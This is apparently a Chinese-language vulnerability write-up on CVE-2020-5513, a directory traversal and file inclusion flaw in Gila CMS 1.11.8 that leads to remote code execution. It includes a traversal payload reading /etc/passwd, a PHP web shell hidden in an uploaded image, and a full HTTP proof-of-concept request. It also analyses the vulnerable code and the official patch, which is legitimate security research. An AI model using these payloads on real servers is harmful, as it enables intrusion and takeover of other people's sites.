漏洞概况
- Gila CMS 1.11.8 allows /cm/delete?t=../ Directory Traversal.
- 这个漏洞是因为文件包含导致,可以导致远程代码执行(Local File Inclusion to Remote Code Execution)
- 需要管理员权限
环境搭建
- Gila CMS 1.11.8
- php 7.2.25
- Ubuntu18.04 + Mysql 5.7 + Apache2
漏洞利用
登陆后台管理员账号,然后打开http://your-ip/gila1118/admin/content/post 新建一篇post。
然后删除这篇文章
然后用burpsuite抓包修改参数t为../../../../../../etc/passwd
。
可以看到我们可以读取到/etc/passwd文件。
然后我们看一下怎么利用LFI实现RCE。访问http://your-ip/gila1118/admin/media 上传一张图片,然后我们把图片内容修改为下面的内容:
1 2 3 4
| <?php echo "It works!!!\n"; echo system($_GET['c']); ?>
|
上传后的图片保存在assets/
目录下
然后用同样的方式在删除post的时候将参数t修改为../../assets/test.gif
,我们可以看到图片中恶意代码被执行了。
然后我们加上参数c,列出了当前目录下的所有文件
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /gila1118/cm/delete?t=../../../../../../../ HTTP/1.1 Host: 192.168.247.130 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------1283573017589669486400713746 Content-Length: 295 Origin: http://192.168.247.130 Connection: close Referer: http://192.168.247.130/gila1118/admin/content/post Cookie: GSESSIONID=1xcps02tot9sr22ozi9j2shmo76m7dzi82rkkcj7nha33usgud; language=en-gb; currency=USD; media_path=assets; media_tab=uploads; PHPSESSID=cgt32s84a11b7kjns6c6vdlbt1; XDEBUG_SESSION=PHPSTORM
-----------------------------1283573017589669486400713746 Content-Disposition: form-data; name="id"
5 -----------------------------1283573017589669486400713746 Content-Disposition: form-data; name="formToken"
1ueasv&h12^#wt -----------------------------1283573017589669486400713746--
|
漏洞分析
当用户删除一篇post的时候,会调用src/core/controllers/cm.php
中的deleteAction()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| /** * Delete registry of content type */ function deleteAction () { header('Content-Type: application/json'); $gtable = new gTable(router::get("t",1), $this->permissions); if($gtable->can('delete')) { $gtable->deleteRow($_POST['id']); $response = '{"id":"'.$_POST['id'].'"}'; } else { $response = '"error":"User cannot delete"}'; } echo $response; }
|
其中$gtable = new gTable(router::get("t",1), $this->permissions);
会先调用router::get()
获取get请求中的t参数的值。
然后用取回来的t参数值传入gTable的构造函数__construct(),在这里可以看到引起文件包含的原因,对$content‘
(也就是t参数)进行的检查不太恰当,可以看到在第10行会检查$content
在不在gila::content
定义的白名单列表之中,返回的结果当然是False,所以接着进入第12行的else if逻辑,只要文件存在就将$content
赋值给$path
,所以造成了后面的任意文件包含。
src/core/class/gTable.php
:
gila::content
定义在src/core/load.php
中:
官方补丁
官方对这个补丁做了两处修改,第一处是在cm
类的__construct()函数中,先给$this->table
赋值为get请求中传过来的t参数,然后检查gila::$content[$this->table]
是否存在,如果不存在直接返回http_response_code(404)
。
第二处是将·router::get("t",1)
改为$this->table
table
是cm
类的一个私有变量。
参考
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5513
- https://infosecdb.wordpress.com/2020/01/05/gilacms-1-11-8-cm-deletet-lfi-local-file-inclusion-and-rce/
- https://github.com/GilaCMS/gila/commit/afbbaae9634b14abda398404e31faa74dcceaaf8
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好